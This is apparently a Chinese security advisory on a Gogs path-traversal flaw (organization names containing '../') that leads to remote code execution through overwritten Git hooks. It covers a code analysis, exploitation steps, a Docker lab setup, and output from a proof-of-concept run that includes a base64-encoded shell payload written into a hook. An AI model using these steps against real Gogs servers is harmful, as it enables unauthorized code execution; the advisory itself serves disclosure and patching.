Gogs远程代码执行漏洞CVE-2026-52813
Gogs 是一个用 Go 语言编写的自助 Git 托管服务,它的目标是以最简单、最轻松的方式来搭建一个简单、稳定且可以扩展的 Git 服务。
一、基本情况
Gogs 是一个小而美的 Git 服务解决方案,Gogs 可以在 Linux、macOS、Windows 及基于 ARM 的系统上,以独立的二进制文件运行。

Gogs 是开源的自托管Git服务,且 Gogs 还支持多种数据库后端:PostgreSQL、MySQL、SQLite3,以及任何支持这些协议的数据库。
栋科技漏洞库关注到Gogs 组织名称路径遍历导致 Git hooks 远程代码执行漏洞,现已被追踪为CVE-2026-52813,CVSS 3.X评分10。
二、漏洞分析
CVE-2026-52813是 Gogs 高危漏洞,攻击者可在服务器任意位置创建仓库,并通过覆盖其他仓库的 Git hooks 配置实现远程代码执行。
该高危安全漏洞源于 Gogs 在创建组织时未对组织名称进行路径遍历字符过滤,组织名称中的 `../` 序列被直接用于拼接文件系统路径。
Gogs允许组织名称包含路径穿越字符(../),该组织下仓库文件会按照穿越路径写入磁盘,导致在服务器任意文件路径读写仓库数据。
具体来说,受影响版本中,创建组织时 internal/database/org.go第165行直接调用os.MkdirAll(repox.UserPath(org.Name)),
其中org.Name未经过滤即传入repox.UserPath()。
repox.UserPath()和repox.RepositoryPath()函数使用未过滤的用户名,
拼接文件路径filepath.Join(conf.Repository.Root, strings.ToLower(user)),
攻击者将组织名设置为../../../../tmp/test可将仓库写入服务器任意目录,
进而利用 Git worktree 机制覆盖目标仓库的hooks/update脚本实现 RCE。
通过创建多层嵌套Git仓库,篡改仓库钩子配置文件,实现远程代码执行。
具体来说,创建组织时,internal/database/org.go 文件调用 os.MkdirAll(repox.UserPath(org.Name)),未对组织名称做过滤净化处理。
gogs/internal/database/org.go
Line 165 in d757132
if err = os.MkdirAll(repox.UserPath(org.Name), os.ModePerm); err != nil {
创建仓库时会依据组织名称确定裸仓库(org/name.git)存储路径。
将组织名称设置为../../../../tmp/test并在该组织下新建仓库,仓库文件将被写入服务器/tmp/test目录。
gogs/internal/repox/repox.go
Lines 57 to 58 in d757132
func RepositoryPath(owner, repo string) string {
return filepath.Join(UserPath(owner), strings.ToLower(repo)+".git")
攻击者可利用该漏洞写入/data/gogs/data/tmp/local-r/1目录,该目录是Gogs内部仓库的本地工作树,Git进程具备该目录读写权限。
在此路径下创建嵌套仓库后,config、hooks/update等文件可通过路径穿越被篡改,
攻击者可向hooks/update钩子脚本写入恶意Shell命令并触发执行。
Gogs漏洞利用大致步骤(省略部分同步无关操作):
1、创建外层普通仓库并获取仓库ID;
2、创建名称为../../../../data/gogs/data/tmp/local-r/{ID}/nested的组织;
3、在该组织内新建仓库(示例命名rce),仓库文件会写入外层仓库本地克隆目录;
4、通过外层仓库修改nested/rce.git/hooks/update文件,植入恶意Shell指令;
5、操作rce仓库触发修改后的钩子,完成远程代码执行。
修复版本中通过在 `repox.UserPath()` 和 `repox.RepositoryPath()` 中调用 `pathx.Clean()` 对用户名和仓库名进行路径净化,并结合 `internal/route/api/v1/org.go` 中 `UserName` 字段的 `AlphaDashDot;MaxSize(35)` 校验规则,从根本上切断路径遍历的因果链。
三、POC概念验证
1、将以下内容保存为docker-compose.yml文件并执行docker compose up命令,部署默认Gogs实例:
services:
db:
image: postgres:16-alpine
environment:
POSTGRES_USER: gogs
POSTGRES_PASSWORD: gogs
POSTGRES_DB: gogs
volumes:
- postgres-data:/var/lib/postgresql/data
restart: unless-stopped
healthcheck:
test: [ "CMD-SHELL", "pg_isready -U gogs -d gogs" ]
interval: 5s
timeout: 5s
retries: 5
gogs:
image: gogs/gogs
depends_on:
db:
condition: service_healthy
ports:
- "3000:3000"
volumes:
- gogs-data:/data
restart: unless-stopped
volumes:
gogs-data:
postgres-data:
2、访问http://localhost:3000,数据库主机填写db:5432,密码设置为gogs。在管理员账号设置页面配置管理员账户。
攻击者访问http://localhost:3000/user/sign_up,注册用户名attacker、密码attacker的账号。
攻击者执行如下脚本:
管理员已设置登录后刷新可查看脚本输出示例如下:
$ python3 gogs-rce.py
step 1 token ok
step 2 create personal repo 201 full_name attacker/writer-bd426045
step 3 web editor new file on attacker / writer-bd426045
step 4 GET writer repo -> local-r 1
step 5 create org 201 local-r 1 username ../../../../data/gogs/data/tmp/local-r/1/nested
step 6 get org 200 username ../../../../data/gogs/data/tmp/local-r/1/nested
step 7 create repo 201 full_name ../../../../data/gogs/data/tmp/local-r/1/nested/rce-b175aca7 html_url http://localhost:3000/../../../../data/gogs/data/tmp/local-r/1/nested/rce-b175aca7 clone_url http://localhost:3000/../../../../data/gogs/data/tmp/local-r/1/nested/rce-b175aca7.git
step 8 get repo 200 owner.username ../../../../data/gogs/data/tmp/local-r/1/nested full_name ../../../../data/gogs/data/tmp/local-r/1/nested/rce-b175aca7 empty False
Cloning into '/tmp/poc-writer-fy4k5064'...
remote: Enumerating objects: 6, done.
remote: Counting objects: 100% (6/6), done.
remote: Compressing objects: 100% (3/3), done.
remote: Total 6 (delta 0), reused 0 (delta 0), pack-reused 0 (from 0)
Unpacking objects: 100% (6/6), 491 bytes | 491.00 KiB/s, done.
step 9 clone writer repo -> /tmp/poc-writer-fy4k5064
[master 3cf84b2] poc: nested/rce-b175aca7.git hook path
1 file changed, 1 insertion(+)
create mode 100755 nested/rce-b175aca7.git/hooks/update
step 10 write nested/rce-b175aca7.git/hooks/update with echo 'aWQ=' | base64 -d | bash > pwned
Enumerating objects: 7, done.
Counting objects: 100% (7/7), done.
Delta compression using up to 14 threads
Compressing objects: 100% (2/2), done.
Writing objects: 100% (6/6), 1022 bytes | 1022.00 KiB/s, done.
Total 6 (delta 0), reused 0 (delta 0), pack-reused 0
To http://localhost:3000/attacker/writer-bd426045.git
b0b9886..3cf84b2 master -> master
step 11 push writer
step 12 API new file on attacker / writer-bd426045
step 13 API new file on org ../../../../data/gogs/data/tmp/local-r/1/nested / rce-b175aca7
step 14 API new file on attacker / writer-bd426045
step 15 GET raw pwned 200 http://localhost:3000/attacker/writer-bd426045/raw/master/nested/rce-b175aca7.git/pwned
=== COMMAND OUTPUT ===
uid=1000(git) gid=1000(git) groups=1000(git)
3、漏洞影响
默认配置下用户可自助注册并创建组织,攻击者利用该漏洞可获取git用户权限远程代码执行。
四、影响范围
gogs:gogs < 0.14.3
五、修复建议
gogs:gogs ≥ 0.14.3
六、参考链接
管理员已设置登录后刷新可查看